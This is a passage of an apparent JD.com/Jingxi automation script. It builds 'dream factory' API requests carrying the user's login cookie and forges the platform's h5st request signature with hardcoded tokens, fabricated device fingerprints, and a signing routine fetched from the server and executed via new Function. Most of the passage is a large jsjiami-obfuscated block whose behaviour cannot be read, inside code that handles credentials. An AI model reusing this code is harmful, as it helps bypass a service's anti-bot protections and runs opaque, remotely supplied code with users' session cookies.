{console.log(e);console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);return false;}} +function taskTuanUrl(functionId, body = '', stk) {let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1`;url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}`;if (stk) {url += `&_stk=${encodeURIComponent(stk)}`;}return {url,headers: {"Accept": "*/*","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-cn","Connection": "keep-alive","Cookie": cookie,"Host": "m.jingxi.com","Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html","User-Agent": "jdpingou"}}} +function taskurl(functionId, body = '', stk) {let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`;url += `&h5st=${decrypt(Date.now(), stk, '', url)}`;if (stk) {url += `&_stk=${encodeURIComponent(stk)}`;}return {url,headers: {'Cookie': cookie,'Host': 'm.jingxi.com','Accept': '*/*','Connection': 'keep-alive','User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou','Accept-Language': 'zh-cn','Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html','Accept-Encoding': 'gzip, deflate, br',}}} +Date.prototype.Format = function (fmt) {var e,n = this, d = fmt, l = {"M+": n.getMonth() + 1,"d+": n.getDate(),"D+": n.getDate(),"h+": n.getHours(),"H+": n.getHours(),"m+": n.getMinutes(),"s+": n.getSeconds(),"w+": n.getDay(),"q+": Math.floor((n.getMonth() + 3) / 3),"S+": n.getMilliseconds()};/(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length)));for (var k in l) {if (new RegExp("(".concat(k, ")")).test(d)) {var t, a = "S+" === k ? "000" : "00";d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length));}}return d;}; +function jsonParse(str) {if (typeof str == "string") {try {return JSON.parse(str);} catch (e) {console.log(e);$.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie');return [];}}} +async function requestAlgo() {$.fingerprint = await generateFp();const options = {"url": `https://cactus.jd.com/request_algo?g_ty=ajax`,"headers": {'Authority': 'cactus.jd.com','Pragma': 'no-cache','Cache-Control': 'no-cache','Accept': 'application/json','User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1','Content-Type': 'application/json','Origin': 'https://st.jingxi.com','Sec-Fetch-Site': 'cross-site','Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://st.jingxi.com/','Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7'},'body': JSON.stringify({"version": "1.0","fp": $.fingerprint,"appId": $.appId.toString(),"timestamp": Date.now(),"platform": "web","expandParams": ""})};new Promise(async resolve => {$.post(options, (err, resp, data) => {try {if (err) {console.log(`${JSON.stringify(err)}`);console.log(`request_algo 签名参数API请求失败,请检查网路重试`)} else {if (data) {data = JSON.parse(data);if (data['status'] === 200) {$.token = data.data.result.tk;let enCryptMethodJDString = data.data.result.algo;if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)();} else {console.log('request_algo 签名参数API请求失败:');}} else {console.log(`京东服务器返回空数据`);}}} catch (e) {$.logErr(e, resp);} finally {resolve();}})});} +function decrypt(time, stk, type, url) {stk = stk || (url ? getUrlData(url, '_stk') : '');if (stk) {const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS");let hash1 = '';if ($.fingerprint && $.token && $.enCryptMethodJD) {hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex);} else {const random = '5gkjB6SpmC9s';$.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`;$.fingerprint = 5287160221454703;const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`;hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex);}let st = '';stk.split(',').map((item, index) => {st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`;});const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex);return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";"));} else {return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d';}} +function getUrlData(url, name) {if (typeof URL !== "undefined") {let urls = new URL(url);let data = urls.searchParams.get(name);return data ? data : '';} else {const query = url.match(/\?.*/)[0].substring(1);const vars = query.split('&');for (let i = 0; i < vars.length; i++) {const pair = vars[i].split('=');if (pair[0] === name) {return vars[i].substr(vars[i].indexOf('=') + 1);}}return '';}} +function generateFp() {let e = "0123456789";let a = 13;let i = '';for (; a--; ) i += e[Math.random() * e.length | 0];return (i + Date.now()).slice(0,16)} +var _0xodT='jsjiami.com.v6',_0x1c2f=[_0xodT,'wpnCon4=','Z8OwE8KCwqPDgMKuwq89SyjCt2Y=','w5kfbw/Dlw==','w5DCqcKUIcOuwrzCgT7CvyPDuMKZw7o=','JcKtwqXCk0HCpw==','w6jDg8KDw6F4','w4bCq8K/w5nDhQ==','LQLCtMOPwqpoG8KGO8O9UsOGKQ==','wr7Cs8K1','w5DCqcKUIcOuwrzCgT7CvzvDuMKYw7o=','w5oNwofDlXc=','OAXCmQ==','w5/CmC06wo9TRMOUeEHCn8K7UQ==','NsOhw7oVAi4=','wrzCuMK3','D8KGwpvCn1Y=','w4PCvQE9wrw=','wrM5A29W','XMOXA8OUwr4=','wpLCo3huw68=','w6rDisKiw5J3','GsOyw5HDviE=','w4TDjC4xKQ==','w5s4wqxyLg==','wrBcCsKPZw==','wq1XVl7Dsw==','w4wrwrVtMQ==','Ny7DkCM1','wrXClkrCqH4=','fcOPOcKiwrc=','fcKCdcOmfA==','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','CTnCp35D','AsOTw50sKg==','A3zDiB0=','wrh2S1rDsw==','woDCvMOow4JAZsOhwqnCpMOnw4IuwoJjXsKkw4p7wrnDh8KzdcK1WnPCkUXDug7CtsKhw5zCuy0CQcKsDcKtY8KNw73CmifDgykrw4XCokt1wqHCqMOgFQEUw7l8JAx0w7hARsOmdsKOT8OKLsKFwpp6BsOFw7/Cg8KEJWLCgcK9wr5cw5jDpg==','wqHDtBYhJMOmLMKsS8KMBsKlasKKw5FBC8Odw7pjw6PDiHDCqEvDpjfDo8ONfcK3MkrCvH/CqMKkZcKHw5PDuCcMKyjDqU/Cq3vDiWF1NA==','w4g8wozDgWcXwo/CoMKUS2rCrkTCm3g2w5o4w4opw5jDh1gnw74uUCEawq4VE8OHw5LDjh4Iwo5Wwrk7VMKhA1rDhlzDvFRmw7dqTMOrSA9GwrbDi3rCmQxsDcOoBMOHwpUWOjzCn3PDicOJw7zCl3AUBik=','wpg1B0dw','wohiBMKKYg==','w47ClcKaw67DmQ==','NBfCmcOswpA=','w67CrnBmwpc=','wqJMJMKSTQ==','OsOrw5oUBDLDu8OTHXs=','w6bCpiECwrxuecOEQ2I=','wpUuAUd+','w73Dpg4JFA==','w7ckwrLDiW0=','UsKkJ17Cqw==','w6rCrxtEwrAydsOpCXLCv8KE','wpEoH1RJwrMVw7rChyrDt8OVLm7Dm8OxwqjCnsKVw4sHYhbCmcK2w6k3wq9Cw7PDvcOqwqYjHw==','fcK9Y8OEbcK+PUzDn8OLdXTCgsKsAsKbw5LCncKBwpjCmjdrC1nCjMO+aXfCmADDvsKF','w6PDq8Kew79cw5DDhkAvw78BwpgAwrDDmADDlFfCjHIbPkcGCcO2w7cWXRYjJynCpcKMwqPCohJGw6bDgV7DisOsw7c9w4gkSsKaWcObw5HChMOAfMOcw6Z8YnvDvwjCnMO5XirClwtpAMOlwprDkRwQw7TCncOaFMOCFsKIKRYOLELDmE3Do1Z+w4vCh8OsQMO+STbDtMKIwoJFwq3CrDonJMOVwoVdw68gw5zDoTTCjMKpCcKrRcKdPMKmw64ew6DCozvDmzXCocKgP8KJYWcROMKDKXfCsMOIcsOWUMKLL8KMHMKxwrMRw45Uw6HCjcOFa0UVMCMeawLDosKbw47DjMKfwrt1ewfDl0bCrnlhw6HDokfClhBGBsKMP8OBfMOIwqQND3TCkMKBwqPCiMOSawzDmg0NwrhgY8KvwoFnwpfDhsOUdyVDcsOIwpl0w53Dl3DCgnReNsOgwooAMsKyfMKEw7Ndw5XChsKMIcKcwplAa8KuJ1vCtD3CsMKFw47Cl2tlw44zw6fClcOROHgFw7rDn8KPwrjDtEZRw78fwo1Pw7rDiV5GwplSw7E7w7HDm8OPw5XCpMKdwr7Dkx7DucKmw5PDnCg0w74uw73Dq8OywofChn1KwqYwCcOeYsOyw67DpSVhX8KmSsK0w4rCmcKkwq0CNsK3EArDg8K9wo5TwpB2w5jDgCPDllsXXsKMRMKUe2wew6zDtTQTwr3Dk8OZaRLDrR0hNMK5w5nCo18XwocCw4vCjioeSyE8YTA6HQFlw7YtVyvCi8O2wpfCnCU2NsO0QXjDpUt2w7rCoFXDqWJrw7nCjsO5Y8KDCcKIw57Ct8KbQMO7HU5SehsMwrnDnMKkFkNxw5bDm2XDgMKJwpMrwqoyw4lRwpJswq3CiRMTO8OGwqbCqcO8cH9TDkHCsRLCuy54LHTCtmZgw786CsKjCWs4X8KiwrbDq0vDrS/Ds14IMcOFd2vDhsO7w4DCicOmKhLCjzfCvzUvw7N5SsOMwqc1Y3TDtXxgwr4lw4xOSFrCsAzCscOEUMOgfS4ARcKbwpXCoMOLOsKSw6DDki5eBSplw7LCqjdFesOSw7PDm8K/wrkXw5zDjMOWZMKnazg3w6Qew6xPG8Orw5rDscKmw4HDlMO/w6nDlcKKwoFWRMOOw7EXL8Ktwq4TH8KQK0ZHFMOobnAnAsK0BD16czt9w4FAP8OKUjBsLUDDqlPCpk/DvcOqw69ndVdnIMO0w7FpXMKcw7LCvsKQV8Ofw556CMKrHMKMWQVLwr3DosK6wohDRsOLKcKKWxrDusKBFF9DRMKBwpcSw4xXLcOVw69zCT0KwoJcDx3CqcOPdl/ClhEVaRIeGD3CuyoRw4gEByFNw5bChiVEWcOewoJ7aSXCkHQiwqLCusKdwpLDq8K8WhBOOsK7wrvCusOx','wofCg3jCjEdzGnsGCcOmw6zCu1/DkmxWEHrCvMKRwr7ChWfCi8KXXnd3w4sqMB3ChwbDoA==','wrPDqE8ycA==','wo5TdsOV','A8Ocw5ErAA==','U13CiMO4wok=','AjjDtcKwaw==','dDZ1Zx0=','wpXCmHldw54=','PnHDiQFG','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','wq7Cp8KCwqBx','w7gGwoHDjXU=','wp/DhQnCrsOy','VMKASsOnZg==','w4fCikVKwr8=','wp7ClUfCnkw=','wpBEw6fDrg==','w7nDncOdw4Iq','wq/DrCoVbg==','w6HCpU9iwrM=','GsO1w4zDggk=','dMO4LcOewrA=','woNFw5jDiMOB','w4nCkMKZw6LDoQ==','O118IcKS','w53DucOGw4Qm','wptfw5cew4nDlg==','LF7CrgXDuzY1fkELw7PCm8OSw4fDt8O9wo8fMCNxZ3wWw7TDvMOZQS/CiMOTVkHDjMOMw4s2wo/Cj8Obw5cuw5xwE2HDmX1Rw5YFNBoiw5fDhcKVwrLCmsOLNy/Cp8OhZBJrWcKnHHnDojtMw7HCuHxzwpvDk8KVUw==','w7UhRMOsw5HCmsO4w6ZkwpN7w78=','w6XCnsKiX8ORw53CswPDjhDDmMKm','NsOiw7kQDCPDv8OuEGclwr8ywo1aWMKsL8OOHyfDu8KYHcKIeyPDhWBRwqnDucON','b0cTKwfCsH9jX3XDiFTDrsOBA0rCh8KQwqQ=','w4jChsKfw73Cvw/CqwvDjlvDtS3CucOfQB1a','dFLCqsOAw77DlDwbS3E=','wqgQw6YowrZAwq8QHzXDicKgejJmwqsew5nDsMKOcMKuwqdYw7gpwrPDscOGw5jDuH4m','wpM4ClRKwrJTwoXCgDXDvMOeZzLCkcK1w6fDjcOFwp9HYU/DhsOhw64mwr4bw7bDq8Kvw6o7G8KdwpLDlsKoXcKzFcOiw5HCuTAgKsKMYxvCjDfDlcKcwodVBx0wFjQdEMO0WcOLcnzCnCg7HBMTwr1IwoZAwrTCtQ8RwphxUmMCwopjSsOLw6FefsKawostBMKvUcOhU8KzKMKceVbCvFjDn8OCNWTDq3cgw7kWZADDnMOKwqbCrsKcQ2/DoUbDvHzDtxIYwp0JFsK3w6zDrsOJw4spwqZPSWlsP8KSwqrDmsKNUsKtw67CosO4w7hoVHrDucKZw7jCuCjCuAHDlHNUQzHDlCrDjhxpw4FJM8OEwqUQeMKpw4UPwrTCglByw7DDiMOew5bDjcOzwrR0McKoFsKzEMOPLMOWw7nDmCs2w6/CmCMMY8KVw6rDgDZkMAbCu8KAw40TO8O+wpEpVcKGw6zDgcKbwq9WwrnDnsKGw5hyw49Ww7l1CcKAORbCsEIbFsKcwqfDoQDDqiZtLsOvOhrCnMKrw6LCusKSUMOew4bDkHIzwq3DhQvDpsOhwqjDosKZGTo=','w68Iw7R6Dg==','w6rCh8OSWio0wq01wrzCrw==','TcO7KsOKwoHDrQ==','w7zCq3Vmwrg=','MQ7CgW1SBA==','w4MMwr7DvUA=','MxrDvMKabw==','wonCm2PCk0Y=','M09hOcKq','wqtVY0DDkg==','wq1qUW7CkMK/','B3HDiApV','w5LDoigXNA==','cy90YT8=','wqhObnjDjMKdGAkvEcKXwpI=','wr9Jw5wMw6o=','wp/DtwcnUg==','V8O9B8ObwrrDrsOCwrTCsgjDu1M=','wpzDrCnCjsO3','PsO8w4sdFyfDv8OzF2Elw7c=','wp1iSV7Clg==','w6LCsTALwq97fcOkSXjCvsKO','c8KsIXbCs2k=','wobCmU7CnUYuVD0HEMOtw6U=','URZGVhcPXMK8GXbDvEs=','dMK5Z8OYd8OncxfDl8OUcnXChcOxB8KRw5DDnsKawpDDjSAoElDCg8OjKTrDm17CuMOAUw==','DEvDhCF9','OcO1w7kVNA==','wr9IQ3rDqg==','w47CkMO/cRc=','J8KYwp7CkXI=','GBHDosKrRQ==','wqnCgMOfw59y','IwvDp8K4UMOxJsKywqsOwrUqKlJcKizDoAfDk8K+wrPDvMOwdhYoAz3DrsOdwq/DrRzCu8KSwr0Wam1UwoHCuHQxL8KmAMKeKUB1w6AjwpjCt1LDqVzCrEEscsKcLm5gC8K1XhnCnsOJ','Oy7Cllpg','WMOmK8OZwrzDoMOMwrPClQXCqFcOwrl2Y8KMLmFcGMK1KsOcwo1KK8O8wqXCkhXCtShpwpvDtsO+FcKnwrJ9w53ConbCs2k=','wrHCnMKlwrpg','H8KVOcKhwpTDvcK4wpcPZkXDnhAXayxad8KpfmUNIGQvwrRQWsOtPWl3w7vDuMKfw6fDj8K8GsOH','wp3DhQ0bdw==','wpx8Uh/Dpg9/VcO1D8K4acOvJVkMCsK4CMOJdjxYJ0HCisKPXmzCqsOqw5DCqsK6R8KOw4DCsQ/CgTd+wqNGw58=','SBd3Qw==','w7c4bcOgw7M=','w7Q7csO9w5DDh8K2wqBtwpNhw73DhVfDkTrDnArCmijDvsKSCcO7Zh3DmsKzIR9XM8KCNGoGw75LKMOtwoLCksOAw4zDlhwJZC8lwqAEwqp0wqLDgX7CosOqKA==','aMK4fcOGYcKx','acOTwqfDvA4=','wrHCssK5woFY','w6DDvcKqw71e','RcOIwr/DsTg=','w5XDnTVsIcKQHsK/U8OQwpfCng==','w4g8wozDgWcXwo/CoMKYX2HDrlzCjXgjw5cyw5c+woLChFc3wr0gTGtTwq0FSMOUw5nDgg==','wrrCrcKzwrtzQcKdW8KRfVHDiMO0w4loSsOtwofCpcKfSMK3JcOSw4JiKXTCghQQw4h5','AMO3w4/DuSXDrCciwqvClmHCgmXDs8KnwrNZwqrCvcOpCUvDg8OjdBt5Cyd2IhtPwoN9AUvCt07DrWULbx7DjHFmQHTCjsOkX15lw6rCjcObwrRNU8KOw4LDvBvCnsK/chw1wp3CmMOAKCMZw49Lwropw4glFALDjsO6w7VRO1NKwoZuIcKVKhI9wrEZNMKOK8K4woIKw641DBnCvcK7WcK3w4nCn8OEwoUzOAsTa8OiNsOTcnR/NMObw6LDsTUUUcOUw5Zbw7TCqMOeMlrCgFk3WDzDu8OTJTrDoErCtDlDHMKDw4JoOcO6fcKRQMO3w5xKZi0bwpxkwr7Ci8ONG0rCoyjDrMOCw5bCssO9Z3l2wpjDllw5wplYwp4qUcOYSsOFwojCrgE2wqBVMjUeEXnDgcOCJsKlLAdlUcKmOsKkN8O8TMK4wqfDp8KXBVgGw7pOw4bCscK0w4wlOsKsw7bDgcKbw7TCscKpw6PCmFjCmgRAw48vwo/DtWrDjcKpdQAowoTCiDBGwqseScKpw4PDtVkxTsKBAU00wq7CgsKxwrTDmF1nTR7Dg2fDncKAGsOMb23DiSl+cMK9woBIEcKuT8KDBcKkd8KrADUdZXjDjlEtdsOpwp/DjMK7w448cMO7w5vDqcOmw7VOwp0PG8OxCDUQw7TCunPCj8KNGMOQJcKKTMOuWcOnwpBYw5B+X8KwwpEyLF3Dr8OTRATDqcOBwoPDrHbDlMOIw5JKwrjCocKdwrdZwrPCmSJNw4UhFCDDjcKbbMOkFjogBsKawos0w7ZjO8KfJMOeHsKnwqNDcSw8PcKEw5JNXMOKMRPCi8Kow4VWUHHCtsKxA8OWw7TCrcODw7lTwqjCvUtSLxfDsWUhwofDvyHDs2p0FCLDvWPCtC5FZcK/acOAwqTDhcK8DcOBw47CpcO2eHQuI8OLwqTCocOrw7vCmEPCjC58HTkVK8OnMgHCv8KfwpkoWn/DjMKcw54hw63Cs8O6w71kw7Etw54xbcKwwq9HE8K9U8O8w5RKwpfCuMOqR0PCqknDinPCosOkwp/Dh2wXKQ/DqsOgHhrDmXITX8KNf1PDoMO7SEjCtMKbB8ObXnUmwoDDp3JTEAPCsisdMCEEwpjCth3CvMKcO8KENcOdw75iw7LCkcKxNSXCvHHDiTBNJcKcY2nDhzd4P0rDp8KWwo4Iw4Eqw6RVw4TDuzbDki/CisOwZcK7wqxTw4TDinHDuzPDnM